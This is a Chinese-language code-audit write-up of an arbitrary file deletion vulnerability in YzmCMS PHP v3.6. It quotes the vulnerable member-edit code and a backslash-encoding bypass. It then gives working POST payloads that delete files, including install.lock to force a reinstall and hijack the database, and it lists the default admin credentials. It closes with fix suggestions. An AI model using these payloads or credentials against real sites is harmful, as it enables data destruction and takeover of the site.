【程式碼審計】YzmCMS_PHP_v3.6 任意檔案刪除漏洞分析
0x00 環境準備
YzmCMS官網:http://www.yzmcms.com/
程式原始碼下載:http://pan.baidu.com/s/1pKA4u99
測試網站首頁:
0x01 程式碼分析
1、檔案位置: /application/member/controller/member.class.php 第118-132行中:
- public function edit(){
- $userid = isset($_GET['userid']) ? intval($_GET['userid']) : 0;
- if(isset($_POST['dosubmit'])){
- if($_POST['password'] == ''){
- unset($_POST['password']);
- }else
- $_POST['password'] = password($_POST['password']);
- }
- if(isset($_POST['del_userpic']) && $_POST['del_userpic'] == '1'){
- 10. if($_POST['userpic'] != ''){
- 11. $userpic = YZMPHP_PATH.str_replace(SITE_PATH, '', $_POST['userpic']);
- 12. if(is_file($userpic)) @unlink($userpic); //刪除頭像檔案
- 13. $_POST['userpic'] = '';
- 14. }
- 15. }
這段函式中對提交的引數進行處理,當del_userpic滿足條件,將userpic進行處理拼接到完整的路徑中,然後使用unlink函式進行刪除。引數Userpic可控,導致程式在實現上存在任意檔案刪除漏洞。
2、另外,這裡應該是程式作者的一個邏輯缺陷,正常操作userpic並無法刪除頭像檔案,因為這裡在路徑拼接處理上存在問題:
- $userpic = YZMPHP_PATH.str_replace(SITE_PATH, '', $_POST['userpic']);
- 等價於
- $userpic = YZMPHP_PATH.str_replace("\",'',$_POST['userpic']);
預設情況下,userpic提交的引數為/uploads/201801/18/180118105655915.jpg,這種情況下,“/”被過濾,組成的路徑變成uploads20180118180118105655915.jpg,導致程式在實現上並無法正確刪除頭像檔案。
3、如何繞過這種限制?
我們知道“/”被過濾,我們可以使用“\”,url編碼%5C,繞過這種限制,提交
\\uploads\\201801\\18\\180118105655915.jpg,即可正常刪除圖片檔案,這裡應該是作者的一個邏輯缺陷,導致頭像檔案刪除功能不正常。
0x02 漏洞利用
1、在網站根目錄下,新建test.php作為測試檔案:
2、利用管理員許可權登入後臺,可利用預設後臺預設賬號密碼來猜解。
預設後臺路徑:http://127.0.0.1/admin/index/login.html
管理員預設賬號密碼均為:yzmcms
構造url連線,可成功刪除根目錄下的測試檔案。
Payload:http://127.0.0.1/member/member/edit/userid/1.html
POST: del_userpic=1&dosubmit=&userpic=%5C%5C1.txt
3、如何進一步利用?
思路:刪除\\cache\\install.lock檔案,進行cms重灌,劫持網站資料庫。
Payload:http://127.0.0.1//application/install/index.php
POST:del_userpic=1&dosubmit=&userpic=%5C%5Ccache%5C%5Cinstall.lock
構造這樣的請求,即可刪除install.lock檔案,然後訪問
http://127.0.0.1/application/install/index.php 即可進行CMS重灌。
0x03 修復建議
1、過濾..,用來防止目錄跳轉
2、對要刪除的檔名進行嚴格限制
最後
歡迎關注個人微信公眾號:Bypass--,每週原創一篇技術乾貨。